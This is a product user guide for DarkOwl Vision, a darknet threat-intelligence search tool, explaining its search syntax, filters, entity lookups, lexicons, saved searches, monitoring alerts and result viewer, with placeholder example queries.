

# DARK

# **DarkOwl Vision User Interface Guide**



# Contents

Getting Started	3
Searching	4
Search Tools	16
Search Results (Research)	21
Explore: Actors	27
Explore: Entity	31
Trackers: Your Alerts	34
Trackers: Your DARKINT Exposure Scores	35
Collections: Your Saved Searches	
Collections: Your Search Blocks	

# **Getting Started**

DarkOwl Vision's user-friendly User Interface has tools that enable analysts to effectively search, monitor, and receive alerts when leaked data appears on the darknet.



1.	Help & Account	A quick link to Help resources; manage Preferences (Search
	Options	Bar Hints, Quick Filter), Default Views, or logout.
2.	Start / Dashboard	Toggle between simple search view or your Dashboard
	Toggle	elements.
3.	Right Navigation	Navigate to Research to view search results; Trackers (Alerts
	<b>Menu</b> (see below)	& DARKINT Exposure); Explore entities and actors; see
		Collections of Searches and Search Blocks.
4.	Search Bar	Type to begin searching or click on the arrow to open the
		Search Tools menu.
5.	Filters Menu	Create a targeted and effective search using filters, dates, and
		advanced options.

Home	Research	2) Explore	-¢- Trackers	E Collections
Start /	Research	Actor / Entity	Alerts /	Saved Searches /
Dashboard	(search results)	pages	Exposure pages	Search Blocks
pages	page			pages

#### Preferences and Default Views

Click on the **Gear** icon in the upper right corner to select Preferences to receive Search Bar Help prompts or to toggle the Quick Filter menu (in the Research section) on or off. Default Views allow you to select which page you prefer to start on within each section. For example, if you would like to log in and see the Dashboard, select the toggle for Dashboard next to Home.

	and the second		⑦ \$\$ ~
	⑦ \$\$~	Default Views	Preferences
Preferences	Preferences	Home Start 💿 Dashboard	Default Views Log Out
Search Bar Help	Default Views Log Out	- Trackers Alerts Dxposure	
Research Quick Filter Open		Collections Saved Searches  Blocks	

# Searching

#### Using the Search Bar

- 1. The search bar works like most search engines; simply type words, phrases, numbers, or characters. The Search Techniques section goes into more detail and options for searching, but here a few quick start tips:
  - Use Boolean operators when searching more than one keyword. More Information: Searching with Booleans.
  - Use straight quotations ("Jane Doe") to send the query as one phrase, Jane Doe.
  - Use the **exact:** search operator (**exact:fullz**) to prevent word stemming, and search for exact matches of that term. See: Stemming and Searching for Exact Terms.
- 2. Use the left drop-down menu to open Search Tools, which include these options:
  - Entity Search: the best way to search for Emails, CVEs, Credit Cards, Cryptocurrency Addresses, IP Addresses, and Social Security Numbers.
  - Lexicon: curated lists of commonly searched items and different areas of content in our database.
  - **Query Builder:** a helper for search variations or advanced formatting for commonly search items.
  - **Search Blocks:** Pre-populated keyword as well as any custom search blocks that you create, are accessible from this menu for easy access.
  - **Templates:** pre-populated search templates to help you get started quickly.

- 3. Once you've started searching, **Recent Searches** and **Saved Searches** will also appear in the Search Tools menu, for easy access.
- 4. Click on the **right Filter menu** to refine your search, create targeted queries, and select options. More information about these is provided in this section: Filters, Dates, Advanced Search Options.
- 5. Guidelines for using multiple search components (Filters, Lexicon entries, and free text) in the same search. Generally, using multiple different search components AND together; using multiple of the same search component (but different values) OR together:
  - Lexicon Market, Lexicon Exploit in same search—AND
  - Lexicon Actor, Lexicon Actor in the same search-OR
  - Network (Tor), Network (Discord) in the same search-OR
  - Entity Search, Search Bar Free Txt in the same search-AND

✓ Type to begin s	earching	Filter By Dates Adva	nced
Search Tools		Data Leaks	Has Entity
Entity Search	>	Data Network	Has Range
Lexicon		Discord Channels	Languages
Query Builders	>	Groups	Source Domains
Search Blocks	>	Hackishness	Telegram Channels
Templates	>		

#### Search Bar Help

Search tips will appear in the upper right corner when a search could be optimized or includes a character the field doesn't recognize.



You can turn this feature off by clicking on your name in the upper right corner, selecting Preferences in the drop-down menu, and unchecking the toggle for Search Bar Help.



#### Search Techniques

#### Single Terms

To find any document with a specific keyword, simply put that keyword into the search bar:



#### Phrase Searching

To find two or more keywords in a specific order, place the keywords within double quotes:

• "AES 256"

Without the double quotes, the search would be sent as: *AES OR 256*. This OR search is an inclusive search and may return results that only include the term AES, that only include the term 256, that include both terms but not next to each other, and that include both terms next to each other.

#### Boolean Searching

Use Boolean operators **AND**, **OR**, and **NOT** to specify inclusions, alternate terms, or exclusions. (You can substitute AND, OR, and NOT with **&&**, ||, and **!** respectively.) Keywords and field searches can be separated by any of the above in order to fine-tune your results.

- drugs OR crime find documents with either 'drugs' or 'crime'
- drugs AND crime find documents with both 'drugs' and 'crime'
- DarkOwl AND (hack OR ddos OR 0day) find documents with DarkOwl and any one of three hacking keywords

Note: Boolean operators must be in all caps. If they aren't in all caps, DarkOwl Vision will consider the word "and", "or", etc as keywords.

#### Using Subqueries/Boolean Order of Operations

You can group together phrases to form subqueries, using parentheses () to indicate each clause. This is especially important when both ANDs and ORs are used, to designate the correct order of operations for your subqueries.

- DarkOwl AND (drugs OR crime) find documents with DarkOwl plus <u>one of either</u> drugs or crime
- ("AES-256" OR "AES 256") AND ("RSA-4096" OR "RSA 4096") find documents with one of AES-256 or AES 256 plus one of RSA-4096 or RSA 4096

#### Stemming and Searching for Exact Terms

DarkOwl Vision supports a process called stemming, which tries to reduce a word to an approximation of its stem or root form. Usually, terms are stemmed to plural/singular versions or different tenses. This means that searching will return matches on related forms of a word, unless you specify otherwise:

• Hack may return Hacked, Hacker, Hacking, in addition to Hack

When you want to search for a specific term, including special characters and punctuation, use the **exact:** operator to prevent word stemming:

• exact:hack - will return only documents containing the word hack

#### Excluding Items from a Search

Keywords can be excluded in multiple ways:

- Using the NOT Boolean operator
- Prefacing the term with a hyphen (-)
- Prefacing the term with an exclamation mark (!)

For example, the three searches below are equivalent and will find documents that contain 'DarkOwl' but not 'drugs'. Note that when excluding a keyword via hyphen or exclamation mark, it must be placed directly before the keyword with no space in between.

#### (DarkOwl NOT drugs) is the same as (DarkOwl -drugs) is the same as (DarkOwl !drugs)

You can also exclude values in other fields in the same way:

- DarkOwl NOT domain:drugs.onion
- DarkOwl -domain:drugs.onion
- DarkOwl !domain:drugs.onion

#### Searching for Entities in the Search Bar

When searching for specific entities, such as an email address or credit card number, directly in the search bar, we recommend searching with the appropriate operator. The Search Tools (in the drop-down on the left-side of the search bar) are a shortcut and automatically convert your query to the correct syntax.

- email:first.last@company.com
- ccn:111111111111111111
- cryptocurrency:15ivMrk8VzaK9TEN85XYssVbU3Yd6tLzb9
- cve:cve-2022-12345
- ipAddress:127.0.0.1\/24
- ssn:123-45-6789

When searching for multiple entities, use the search operator and a Boolean OR, as follows:

- email:(first.last@company.com OR last.first@company.com)
- ccn:(1111111111111110R 222222222222222222)
- cve:(2022 OR cve-2021-12345)

#### Searching for both Keywords and Entities in the Search Bar

When searching for both keywords and specific entities (such as an email address or credit card number) directly in the search bar, use the following format:

• ("First Last" OR Nickname) AND email:first.last@company.com

#### Using Wildcards

Wildcards (\* or ?) are currently allowed in limited usage, in the middle or end of terms only. An asterisk (\*) is used to find zero or more unknown characters; a question mark (?) is used to find any one unknown character. Examples:

- dar\* will find "dar", "dart", "darkowl", "daredevil", etc
- **d?rk** will find "dark", "dork", "dirk", etc; will not find "drk" (however, d\*rk would)

Note: DarkOwl Vision does not support leading wildcards. In other words, a search term cannot begin with either one of the wildcard characters.

#### Using Proximity Searches

You can find words near to each other by using quotations and selecting a maximum distance allowed: **"password hack"~2**. The maximum distance supported is 9.

#### Using Pattern Matching / Regular Expressions

Lucene-based regular expressions are allowed and should be wrapped by forward slashes (/). Not all functionality you may be familiar with may be supported. Additionally:

• These queries may time out, particularly when searching for a high volume of unknown characters. Regex searching is computationally heavy and will result in slower, less performant searches.

To use a regular expression in Vision, place the expression between two forward slash characters:

 /r[0-9a-zA-Z]{24,34}/ - to find results matching the pattern of a Ripple cryptocurrency address (which starts with 'r', then has anywhere between 24 to 34 alphanumeric characters)

Note: Not all regex functionality you may be used to is supported by our system.

#### Using Special Characters

The following characters are reserved:

+-=&& || > < ! ( ) { } [ ] ^ " ~ \* ? : \ /

If any of the above characters are in a keyword or phrase being searched, you can escape the character with a backslash: \. For example, to search for mentions of a URL within a document, such as *https://darkowl.com/darkint-blog*, you must escape the colon, forward slashes, and hyphen, otherwise the search will return an error.

You can perform this search multiple ways:

- Escaping the special characters: https\:\/\/darkowl.com\/darkint-blog
- Putting the whole keyword in quotes: "https://darkowl.com/darkint-blog"

Without escaping the special characters, this search will be interpreted as:

- 1. Searching within a field called 'https' (which doesn't exist)
- 2. An empty regular expression (// signifies the start and end of a regex with no content)
- 3. The keyword 'darkowl.com'
- 4. The start of a regular expression starting with 'darkint-blog'
- 5. No end to the regular expression (will return an error)

#### Field Searching (Search Operators for Metadata)

Every search performed will look in one or more fields for the keyword(s) being searched. By default, the search bar will search both the 'title' and 'body' fields of documents. This means that results will be returned if the keywords you're looking for are found in either the body of the document or the title (or both). This means:

- A search of the word 'drugs' in the search bar is the same as
- title:drugs OR body:drugs.

Most searches will not require specifying a field name, since title and body are automatically searched. However, other metadata fields can be searched, including specifying only the title or body field, for example:

- title:alphabay
- hackishness:1
- domain:drugs.onion

The list of metadata fields is below. When searching within these fields, type the following search operators in the search bar, and then the query content:

- inUrl:
- contentType:
- headers.server:
- headers.last-modified:
- title: (to search within this field exclusively)
- body: (to search within this field exclusively)
- domain:
- leak:
- network:
- hackishness:

Multiple values within the same field can be searched in a number of ways. The following examples are equivalent:

- domain:(drugs.onion OR crime.onion) is the same as
- domain:drugs.onion OR domain:crime.onion

You can also look for phrases within specific fields using double quotes:

• title:"Forum rules"



Subqueries within fields are supported:

#### • title:(darkowl AND (drugs OR crime))

Note: when searching using fields, there should not be a space after the ':' character.

#### Field Searching (Search Operators for Chat Networks)

There are several search operators that can help you filter to content from Discord or Telegram servers, channels, and users.

- The telegram: operator filters to channels, IDs, or users from Telegram.
- The **discord:** operator filters to servers, channels, IDs, or users from Discord.
- The user: operator filters to usernames or user IDs from either Telegram or Discord.
- <u>To exclude telegram, discord, or user operators:</u> preface the search operator with a hyphen: -telegram:"EVILX.su Leaks Chat"

Several examples are presented below:

Search	Description
telegram:"Чат Военкоров	Search for content from this Telegram channel (quotations
Русской Весны"	are used as it has spaces in its name)
telegram:" <b>DEMON HUB</b> 1 😈	Search for content from this Telegram channel (note
~ #THEDEMONNETWORK"	quotations for spaces and special characters)
telegram:lapsus*	Search for content from any Telegram channel or username
	that starts with the characters lapsus
telegram:"-1001228309110"	Search for content from the Telegram channel with this
	channel ID. Include the - prefix with straight quotes.
discord:"HELLU!"	Search for content from this Discord server
discord:funny-sb	Search for content from this Discord channel
discord:tylerdurdan710	Search for content associated with username (Discord only)
user:tylerdurdan710	Search for content associated with this username on either
	Discord or Telegram

#### Filters, Dates, and Advanced Search Options

Iter By Dates Advar	
Data Leaks	Has Entity
Data Network	Has Range
Discord Channels	Languages
Groups	Source Domains

Refine your search using the Filters icon on the right side of the search bar. This includes three tabs for:

Filters

Dates

**Advanced options** 

#### Data Leaks

Filter to content from known breaches or other leak data, tagged by name in DarkOwl Vision. See the Lexicon for descriptions of the Data Leaks in this list. Type or scroll to find the desired Data Leak. <u>Click once to include, click twice to exclude.</u>

- For free text searching, type leak:leakname in the search bar
- Prefix with to exclude, i.e. -leak:leakname in the search bar

#### Data Network

Filter to content from a particular DarkOwl data collection network. Options include: Discord, FTP, I2P, IRC, Onion, OpenNIC, Telegram, Zeronet. <u>Click once to include, click twice to exclude.</u> More information: Data Networks.

- For free text searching, type network:networkname in the search bar
- Prefix with to exclude, i.e. -network:networkname in the search bar

#### **Discord Channels**

Filter to content from one or more specific Discord channels or servers. Click the <u>Add</u> button, and then type either one channel name, channel ID, server name, or server ID in the box. You'll note that quotation marks are automatically applied when you start typing. You can add up to 10 channels or servers per query. You can remove previously-entered channels or servers by clicking the X next to the channel or server to remove.

Discord Channels	Filter By Dates Advanced	
"Ground Control"	Data Leaks	Has Entity
"757762132962967624"	Data Network	Has Range
🕂 Add	Discord Channels +2	Languages
	Groups	Source Domains
	Hackishness	Telegram Channels

- For free text searching:
  - o <u>To filter to one channel or server:</u> Type **discord:"Ground Control"** in the search bar
  - <u>To filter to one channel ID or server ID:</u> Type **discord:"757762132962967624"** in the search bar
  - <u>To filter to multiple channels/IDs</u>: Type discord:("757762132962967624" OR "Ground Control")
  - <u>To exclude discord channels or servers (free text searching only)</u>: preface the search operator with a hyphen: **-discord:**"Ground Control"



#### Groups

Groups are combined filters that narrow your search to specific categories; click to include:

- Authenticated Sites: Filter to content from sites requiring credentials or other challenges.
- Blogs: Filter to content from sites identified as blogs.
- **Chans:** Filter to content from a curated set of chan/imageboard forums selected by our analysts.
- Darknet: Filter to content from the Tor, I2P, and Zeronet darknets.
- Forums: Filter to content from sites identified as forums.
- Markets: Filter to content from sites identified as darknet marketplaces or vendor shops.
- Ransomware: Filter to content from known ransomware sites.
- Paste Sites: Filter to content from a curated set of paste sites.

#### Hackishness

Hackishness assigns a rating to every piece of content collected, indicating the likelihood to which the information could be used for criminal activity. The lower bound of hackishness is .01 and the upper bound is 1.0; the UI shows these as percentages on search results. You can quickly filter to results with hackishness by **using the slider** on the Hackishness filter to select a desired hackishness threshold.

You can also filter to hackish results using hackishness: in the search bar, which supports searching as range. This means, you can narrow down to values between two parameters, inclusive or exclusive, for example:

- hackishness:[.01 TO 1]
- hackishness:{.01 TO 1}

Note the '[' and '{' characters used above. In Lucene range queries, '[' and ']' are inclusive so the first query above would return values from .01 to 1, including both .01 and 1. The second example would return values from .01 to 1 not including.01 or 1. '[' and '{' can be combined:

• hackishness: [.5 TO 1] (this will find values greater than .5 and up to and including 1)

Has Entity (Credit Cards, Cryptocurrencies, CVEs, Email, IPs, Social Security Numbers) Filter to content that have at least one selected Entity. <u>Click next to the Entity name to select.</u>

Has Range (Credit Cards, Cryptocurrencies, CVEs, Email, IPs, Social Security Numbers)

Filter to content that have a certain number of selected Entities. This filter is helpful in finding "dumps," as many threat actors will post multiple instances of PII on a singular site or

document. **Type values next to a selected Entity**: Enter a lower bound (minimum 1), upper bound (maximum 999999), or use both fields to form a range (50 to 1000).

#### Language

Filter to content in a particular language. Languages are detected by DarkOwl Vision at the time of ingestion, using natural language processing. <u>Click once to include.</u>

• For free text searching, type language:languagevalue in the search bar

#### Source Domains

Filter to content from one or more domains, or exclude a particular domain by typing a hyphen in front of the domain. Type only the domain portion in the filter box (example: **arch3rsecgjqcmjb.onion**; no need for the www or http:// prefix). Be sure to remove any trailing slashes or paths from the domain.

- For free text searching, type domain:domain.onion in the search bar
- Prefix with to exclude, i.e. -domain:domain.onion in the search bar

#### Telegram Channels

Filter to content from one or more specific Telegram channels. Click the <u>Add</u> button, and then type either one channel name or one channel ID in the box. You'll note that quotation marks are automatically applied when you start typing. You can add up to 10 channels per query. You can remove previously-entered channels by clicking the X next to the channel to remove.

Note: when typing a channel ID, use the hyphen prefix, i.e. -1001556588508.

- For free text searching:
  - o <u>To filter to one channel:</u> Type telegram:"EVILX.su Leaks Chat" in the search bar
  - o To filter to one channel ID: Type telegram:"-1001556588508" in the search bar
  - <u>To filter to multiple channels/IDs</u>: Type telegram:("-1001556588508" OR "EVILX.su Leaks Chat")
  - <u>To exclude telegram channels (free text searching only)</u>: preface the search operator with a hyphen: -telegram:"EVILX.su Leaks Chat"

#### Dates

Use the drop-down to quickly select a time range for search results, or select Custom to choose a specific start/end date.

Crawl dates can be searched in the search bar as a range using the following date format: YYYY-MM-DDTHH-MM-SSZ:

• crawlDate:[2021-07-01T00:00:00Z TO 2021-07-10T23:59:59Z]

Filter By Dates	Advanced		
Crawl Date			
Custom			
Start Date		End Date	
05/26/2020		06/02/2020	Ê.

As crawlDate supports range searching, you can narrow down to values between two parameters, inclusive or exclusive, as discussed in the hackishness section. In Lucene range queries, '[' and ']' are inclusive, and '{' and '}' are exclusive.

#### Advanced Options (Sort By, Show Similar, Empty Bodies)

Use Advanced Options to select a Sort option, or to show all results (including duplicates).

- Sort options. Use the drop-down to sort your results by Relevance (default), By Hackishness, By Crawl Date
- **De-duplicate your results.** You can choose to de-duplicate your result sets (*default*) or see all results, including similar results. The default is to de-duplicate result sets; you can toggle this on or off.
- **Empty bodies.** Our collection includes documents collected that do not contain any text characters; text content is stored in the Body field. Use the drop-down to select one:
  - Any document (documents can include text in the body, or no text in the body)
  - **Results must have body field** (*default*) (to only return documents that had text content on them)
  - Results must not have body (to see only documents without text)

You can personalize your experience and change the above defaults. When you select a new option in any of the above settings, a button will appear to **Save as Default**. Clicking to save will remember these settings for future searches.

	Empty Bodies	
Hackishness	Results must have body field	
Show Duplicates		

## **Search Tools**

The Search Tools menu includes tools to help you create effective searches, including Entity Search, the DARKINT Lexicon, Query Builders, Search Blocks, and Templates. Once active, your Recent Searches and Saved Searches will also appear in this menu for easy access.

#### Templates

Search **Templates** are a great way to get started searching our data. This list includes many example searches to help find information of interest. Click on an item in the list to populate it in the search bar

Note: where indicated, replace the text with your information as appropriate (for example, when "organization.com" appears in the template).



Start typing in the Find an Entry field to filter the list quickly.

#### Entity Search

**Entity Search** is the best way to search within our indexed document content for Emails, Cryptocurrency, Credit Cards, IP Addresses, and Social Security Numbers. Additionally, all Entity Searches can easily become Search Blocks, with Set Up Monitors options, by clicking on the Search Block icon on the upper right.

You can enter one or more values in each builder, using space, comma, or semi-colon between values. Pressing Enter will execute the search.

• Emails supports searching for individual addresses, domains, or subdomains.

Search Tools		Emails		Emails
		Credit Cards	5	
Entity Search	. 2	Cryptocurrencies		example.com
Lexicon		CVEs		0.52
Query Builders		IP Addresses		
Recent		Social Security Numbers		
Saved				

• Credit Cards supports searching for individual addresses or BINs.

Search Tools		Emails		Credit Cards
		Credit Cards	· 5	5100008*
Entity Search	4	Cryptocurrencies	3	1234567890987654
Lexicon		CVEs	2	
Query Builders		IP Addresses		
Recent		Social Security Numbers	5	
Saved				

- **Cryptocurrencies** supports searching for the following types: *Bitcoin, Ethereum, Monero, Litecoin, Dash, ZCash*. The types have been validated by DarkOwl Vision. Cryptocurrency wallet types not in this list can continue to be found with regular expressions.
- CVEs supports searching for the following formats:
  - By full CVE-ID, i.e. CVE-2022-12345 (finds specific known CVE, using the CVE prefix)
  - By CVE-ID, i.e. 2022-12345 (finds specific known CVE, without the CVE prefix)
  - By Year only, i.e. 2022 (finds all CVEs from that year)
- **IP Addresses** supports searching for the following formats: *IPv4*, *IPv6/IPv6* compressed, and *CIDR* ranges for both *IPv4* and *IPv6*. Note: When we find and extract *IP* addresses in the text of a document, we store them as an *IP* address object rather than a string (all of our other tokenized entities are strings). This allows for more search flexibility, such as searching for CIDR ranges. However, since the *IP* address being searched is not a string/text, they are not able to be highlighted when searching this way.
- Social Security Numbers supports the following format: 123-45-6789 (with hyphens).

#### Lexicon

The **DARKINT Search Lexicon** includes curated lists of commonly searched keywords, domains, or data leaks, intended to help you find interesting content within our data collection. While not an exhaustive list of items in our data, it's a good place to get started. The Lexicon continues to grow as we add more content and hear from our customers. If you know of a new threat actor or darknet marketplace that's not in our list – please let us know about it at https://www.darkowl.com/lexicon.

To use the Lexicon, pick a topic on the left, then filter or scroll to find entries of interest. Selecting the box next to your desired entry(ies) will immediately add the entry(ies) to the search bar.

Section	Search Component	Description
Actors	Free Text query string	Use the Actor lexicon to find actor names mentioned within search results. Actors are malicious individuals or groups that carry out targeted attacks or campaigns, with motives ranging from political hactivism to cybercrime. Many of the actors in the Lexicon come from from the MITRE attack groups list. Note: with the Actor and Vendor lexicons, it may be helpful to use additional search terms or Search Blocks to reduce false

#### Topics You'll Find in the Lexicon

DARK	гм
------	----

		positive results with Actor names that are also common words, such as (HACK CRACK FULLZ EXFILTRATION DDOS).
Data Leaks	Filter: Leak	Use the Data Leaks lexicon to find search results from known breaches or other leak data tagged by name in our data.
Exploits	Free Text query string	Use the Exploits lexicon to find exploit names mentioned within search results. Exploits are software tools designed to capitalize on flaws in a computer system, typically for malicious purposes. Examples: trojans, malware, viruses, RATs, ransomware, botnets.
Forums	Filter: Domain	Use the Forums lexicon to find search results from known darknet and deep web forms. Forums are online places where people discuss specific topic threads. Some require authentication to access. Forums that are associated with specific markets and/or vendor reviews are indicated.
Markets	Filter: Domain	Use the Markets lexicon to find search results from known darknet market domains and vendor shops. Content includes both small, vendor-owned markets, to big-name marketplaces such as Hydra and Empire. Some marketplaces have previously been taken down by law enforcement, though our data collection may still have historical content.
Ransomware Services	Filter: Domain	Use the Ransomware Services lexicon to find search results from domains administered by ransomware gangs. Each entry includes a description of when the gang was first active, associates and affiliates, and encryption cipher used.
Vendors	Free Text query string	Use the Vendors lexicon to find vendor names mentioned within search results. Vendors are sellers of goods or services on darknet marketplaces or forums.

#### Query Builders

**Query Builders** help you format commonly searched items that either require special formatting or work best when submitted with variations, in order to make the most inclusive search to find the best results. Once you've selected the type of builder (see descriptions below) and input text in the appropriate field(s), you can either **Add to Search**, or **Set Up Monitors**.

#### Types of Query Builders

- Alternate Email: When searching for email addresses a threat actor may be using with another provider, a trailing wildcard can be a helpful search. For example, entering the prefix of Conti44 in the Query Builder will finds results for conti44[at]hotmail.com, conti44[at]hotmail.il, conti44[at]tutonota.com, and so forth. These may be potential associated or alternate email addresses run by the same person or group.
- **Names:** When searching for first and last names, we recommend using a proximity search, with up to 2 words as a distance. This can help find variations such as "last, first" or "first middle last" (even when the middle name is unknown).
- **Websites:** When searching for domain/URL mentions within the body of a document, we recommend this format to find variations that start with https://, or www, or any path. *Note: This is the most ideal way to search for domain mentions in our dataset.*
- When searching for phone numbers, we recommend preparing a query without spaces
   US Phone Numbers: and with spaces between number groups. (We recommend
   preparing searches the same way for any phone numbers; i.e. 1234567889 OR "123 456
   7889").

Clicking **Add to Search** will format the query and place it in the search bar. You can continue to add filters, date ranges, or other advanced options before submitting the search.

✓ Type to begin set	arching			
Search Tools		Alternate Email Name	3	Website
Entity Search	,	Website	>	company.com
Lexicon		US Phone Number	<b>.</b>	Add to Search
Query Builders				
Recent	,			Set Up Monitors
Saved	,			

#### Set Up Monitors

Clicking **Set Up Monitors** (from Query Builders or Entity Search Blocks) will prompt you to select pre-built searches that will automatically save and start monitoring, notifying you when new results are found. Choose the searches you'd like to create and click Confirm.

Note: You can change any of the default settings by clicking the Edit icon by the search name.

#### Search Blocks

**Search Blocks** are reusable search components and appear in Search Tools for quick access. Use Search Blocks to create lists of commonly searched items, such as a list of company names, IPs, or domains; or create any query string that you'd like to use across multiple searches. You can use the same block in multiple searches, which can help save you time when you are building queries that have similar elements. Additionally, when you update a block, all searches that use that block are automatically updated to use the new block content.

Initially you'll see a list of pre-built blocks in the Search Tools list and Search Block page, which were created by DarkOwl analysts. After you create your own search blocks, they will appear at the top of the list. Begin typing in the Find an Entry field to filter the list.

You can make search blocks in a few different ways:

- Select Create a New Block on the Collections: Search Blocks page.
- On the Search Blocks page, click on the Edit icon next to a pre-built block. Make modifications and save as a new block.
- When you are in the Entity Search, click on the block icon to convert into a new block. In addition to creating a new Search Block, Entity Search Blocks also allow you to **Set Up Monitors**.

#### Saving Searches

A **Saved Search** is simply a query you'd like to run again in the future. Once saved, you can find this list of searches on the Search Tools menu. Additionally, you can **Automate this search** to apply monitoring functionality, which runs the search for you on a cadence you choose, generating **Alerts** on your dashboard if hits are found. After you run a query, the **Save Search icon** (star icon) will appear on the right side of the search bar.

Selecting that icon will open a form:

- Add a Saved Search Nickname.
- Add **Categories**, if desired. Categories can help you sort your searches and alerts.
- Click Automate this search, if you'd like to apply monitoring. If this is selected, additional options for Frequency, Criticality, and Email Notifications will appear.
- Click **Save** when complete.

	X 57 -	<u> </u>
		~
	Save New Replace	
Count County Million		
Saved Search Mickhame		
My new saved se	arch	
Catagories (Ontional)		
Categories (Optional)		
Click to Remove Category		
Click to Remove Category		
Click to Remove Category EXECMONITOR		
Click to Remove Category	to provide for one coulde	
Click to Remove Category EXECMONITOR Automate this search	to monitor for new results	
Click to Remove Category EXECMONITOR Automate this search Run Every	to monitor for new results Alert Criticality	
Click to Remove Category EXECMONITOR Automate this search Run Every 24 Hours	to monitor for new results Alert Criticality	
Click to Remove Category EXECMONITOR Automate this search Run Every 24 Hours	to monitor for new results Alert Orticality V High	
Click to Remove Category EXECMONITOR Automate this search Run Every 24 Hours	to monitor for new results Alert Criticality V High	
Click to Remove Category EXECMONITOR Automate this search Run Every 24 Hours Email me when this:	to monitor for new results Alert Criticality High utomated search finds alerts.	~
Click to Remove Category EXECMONITOR Automate this search Run Every 24 Hours Email me when this	to monitor for new results Alert Criticality High utomated search finds alerts.	.ve

# Search Results (Research)

DarkOwl Vision collection activities are automated and continuous 24/7/365, collecting content from millions of websites daily in 52 languages. Our collection includes Tor, I2P, Zeronet darknets; encrypted chat servers, channels, and groups; certain deep web sites with transitory information, such as paste sites, forums, and FTP content; as well as high-interest closed access surface websites. Collectively, we refer to this as DARKINT<sup>™</sup>, or darknet intelligence.

Our indexed document collection, which are the results you receive after doing a search in the Research section, is processed into the following field categories:

Body field	The raw text collected from the webpage/record/target.
Metadata fields	Fields we collect along with the body, if available, such as: domain, network, headers, leak information. Click on the Metadata and Leak view switches in Search Results to see this information.
Mined fields	Tokenized entities we mine out of the body of the result, which are currently Entities (emails, credit cards, cryptocurrencies, cves, ip addresses, ssns) and Chat-related information (users, user IDs, servers, channels, channel IDs). Entities and Chat Users appear as individual View Switches in Search Results, if present in the body
Processed fields	Information we apply to a result from our natural language processing or machine learning, such as hackishness or language detection.

#### Search Tabs

You can have multiple searches open, to allow for pivoting and further investigation. Click on the (+) icon to start a new search. You can go back to previous searches and results by clicking on the Result tab for the search you want to see. You can have up to four search inquiries open simultaneously.



#### Search Result Viewer

After running a search, your result list will appear on the Research page. The list displays a summary including the title and excerpt of the result (around the first keyword match, if applicable), where the result was found, crawl date, hackishness, and relevance of the result.

Click in the Title or Excerpt columns to open the full Result Detail; click on the X to close.



#### Keyboard Shortcuts

Navigate through Search Results using these keyboard shortcuts:

Кеу	Description
k	next result
i	previous result
1	next highlight
j	previous highlight

Кеу	Description
;	toggle detail pane
0	next page
u	previous page

#### Quick Filtering

The quick filter menu includes some of our most frequently used filters, as well as a crawl date bar, and can help refine your result set. Once selected, filters will appear in the search bar. Click the **Run Search** button to see a new result list.

May .	Jun Jul	Aug S	ep Oct	Nov	Dec	Jan	Feb	Mar	Apr	
FILTER BY:	DATA NETWORK		DATA LEAKS			GROUP		EXCLU	SION OPTIONS	

- **Crawl Date Slider.** Select a Crawl Date range within the last year, by clicking on a box to start, sliding over the date period, and clicking on an end box.
- Filter by Data Network. Click once to select a network; click twice to exclude a network.
- Filter by Data Leak. Click the box next to the option to see results from Data Leaks, or exclude results from Data Leaks.
- Filter by Groups. Click once to select a group; click twice to exclude a group.
- **Exclusion Options.** Click the box next to the desired option. You can add the Hackishness filter (exclude results with 0% hackishness), or select various Exclusion Search Blocks created by DarkOwl analysts, to reduce noise in result sets.

Note: The quick filter menu is open on the Research page by default, to help you easily work through result sets. However, this setting can be adjusted in the Preferences menu.



#### Pivot to Entity Explore

If your search included an Email, Credit Card, Cryptocurrency, or IP Address Entity Search tile, the Explore icon will appear next to the Quick Filter icon. You can use this icon to look up any of the values in the Explore: Entity section. Click the icon, then select one of the values from the drop-down.

			email: company.com, subdomain $ imes \left[  ext{ ipAddress: 127.0.0.1 }  imes \left[  imes rac{1}{27}  imes rac{1}{2}  imes rac{1}{2}$				ז <b>בי ב</b> י ל
162,020 Results 🖓 🦪 🗙	+					of 8,101 🚫 🚫	
company.com		Excerpt	Source	Crawl Date 🗸	Relevance 🗸	Hackishness 🗸	
subdomain.company.com 127.0.0.1	a', 455');	dept_id, email, phone ) values (1001, 'a', 1001, ' <b>abcd@company.com'</b> , '1122334455'); Insert	Paste Site: pastebin.com	2022-11-13 12:51:38 PM	100%	0%	<u>ل</u> ا

#### Viewing Individual Result Detail

Results from our index include the following elements, referenced on the screenshots below:

- 1. Source of the result and when we added it to our data collection.
  - a. DarkOwl Vision stores URLs in their encoded form. If a URL has special characters or emojis, a **Decode URL** button will be present to toggle to the decoded version, which can assist users who have the proper sandboxed environments in viewing the original source. Once a URL is decoded, you can toggle back to the encoded version by clicking **Encode URL**.

http://	1%		
9F%D1%80%D0%BE%D0%B4%D0%B0%D0%BC-		http://	onion/threads/
%D0%B4%D0%BE%D1%81%D1%82%D1%83%D0%BF%D1%8B.1113/#post-5243		Продам-доступы.1113/#post-5243	
Crawled on 2023-06-22 08:19:24 AM Decode URL		Crawled on 2023-06-22 08:19:24 AM Encode URL	

- 2. Options to Download the result (.txt) or get a Link to return to this result later.
- 3. The right side will contain various View Switches to see the result, metadata, and various tokenized fields:
  - a. The **Body** is the content of the result.
  - b. Metadata includes where and when the result was collected.
  - c. If present in the Body, additional view switches will show Lists of Entities within the result (Emails, Cards, Cryptocurrencies, CVEs, IP addresses, SSNs).
  - d. A **Chat Users** view switch will be present if the result is from Telegram or Discord with Usernames and User IDs found in the result. (The lower screenshot shows this switch active.)
- 4. A **Group** heading will be present if the result is from one of these types of sites: Authenticated Site, Chan, Forum, Market, Paste, or Ransomware.



http://breached65xqh Nessus-Cracked?page Crawled on 2023-01-24	<b>164s7 1 1 1 1 1 1 1 1 1 1</b>		i	2
 Title: Nessus Cracked Posts: 10  User: autorwolf Posted: January 11, 2  Is this real? damn	1 2023, 02:43 AM			Body 3 Metadata Group Forum 4 Hackishness
https://telegram.me/ Crawled on 2023-11-13 Find an Entry	09:56:46 AM		Q	Body
Username DrWebBot Ju1cy_LuCy	User ID 161163358 6205236132	•••		Metadata Chat Users +2 Hackishnes 0%

#### View Switch Actions

E.

The View Switch for Entities (**Emails, Cards, Cryptocurrencies, CVEs, IP addresses, SSNs**) or **Chat Users** will show you a list of the items that appear within the Body of the search result. You can click directly on an item to jump to where that item is located in the Body.

50.93.226.86			
66.87.177.106		•••	
Email ·	@gmail.com		
ciliait.	@gman.com	Clicking on the IP add	dress will bring
Email Password	:	you to that location in	n the search
IP Address: 50.	93.226.86	result.	
Full Name ·	10.0		
Adress:	¥.		
City:			
Zip:			

Some of the View Switches include additional pivoting actions.

